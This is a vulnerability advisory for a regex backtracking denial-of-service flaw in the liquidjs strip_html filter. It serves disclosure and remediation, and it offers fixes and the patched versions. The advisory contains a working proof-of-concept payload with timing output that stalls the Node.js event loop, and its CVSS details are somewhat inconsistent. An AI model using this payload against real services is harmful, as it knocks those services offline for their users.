CVE-2026-45617
ADVISORY - githubSummary
Summary
The built-in strip_html filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.
Details
The vulnerable filter is at src/filters/html.ts:45-49:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}
The regex contains four lazy patterns:
<script[\s\S]*?<\/script><style[\s\S]*?<\/style><.*?><!--[\s\S]*?-->
For an input like '<script'.repeat(N), the engine encounters N starting < positions. At each one it must lazily expand [\s\S]*? (and .*?) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).
Reachability:
strip_htmlis a default-registered filter (exported fromsrc/filters/html.ts, wired up viasrc/filters/index.ts), invocable from any template via{{ x | strip_html }}.- The filter calls
String.prototype.replacewith the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. - The default
memoryLimitisInfinity(src/liquid-options.ts:198); the filter only chargesstr.lengthagainst memory (line 47), which does not bound CPU work for regex backtracking.
This is distinct from GHSA-45rm-2893-5f49 (prototype property leak, CWE-200) and from any prior replace/strip_html issues — the mechanism here is regex backtracking CPU consumption on a different filter.
PoC
Empirical scaling confirmed against a freshly built liquidjs@10.25.7 bundle on Node 22 / Linux:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const payload = '<script'.repeat(n);
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
}
})();
"
Verified output:
n=1000 inputLen=7000 ms=5
n=2000 inputLen=14000 ms=12 (2.4x for 2x size)
n=4000 inputLen=28000 ms=46 (3.8x for 2x size)
n=8000 inputLen=56000 ms=187 (4.0x for 2x size)
n=16000 inputLen=112000 ms=737 (3.9x for 2x size)
A larger payload extrapolates straightforwardly:
node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
const payload = '<script'.repeat(50000); // 350 KB
const t0 = Date.now();
await e.parseAndRender('{{ x | strip_html }}', { x: payload });
console.log('elapsed ms:', Date.now() - t0);
})();
"
# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)
The same pathology applies to <style and <!-- openers.
Impact
- Single-request DoS: A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.
- Trivial amplification: Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.
- No authentication required: The typical use case for
strip_htmlis sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content throughstrip_htmlis exposed. - memoryLimit doesn't help: Even applications that opt into
memoryLimitare not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) onlystr.lengthis charged, not the cost of the regex traversal.
Recommended Fix
Replace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.
Option 1 — anchor each alternative so lazy expansion fails fast on chunked content (no [\s\S]*? over the full tail):
return str.replace(
/<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g,
''
)
This unrolls each lazy quantifier so each < is visited at most a constant number of times overall — linear total work.
Option 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside <script>, <style>, comment, or generic tag, and emit nothing for those ranges.
Either fix should be combined with charging the regex output cost honestly to memoryLimit and (defensively) capping input length up front:
export function strip_html (this: FilterImpl, v: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
// ... linear-time strip implementation here
}
Common Weakness Enumeration (CWE)
Inefficient Regular Expression Complexity
GitHub
3.9
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| liquidjs | npm | - | - | <10.26.0 | 10.26.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.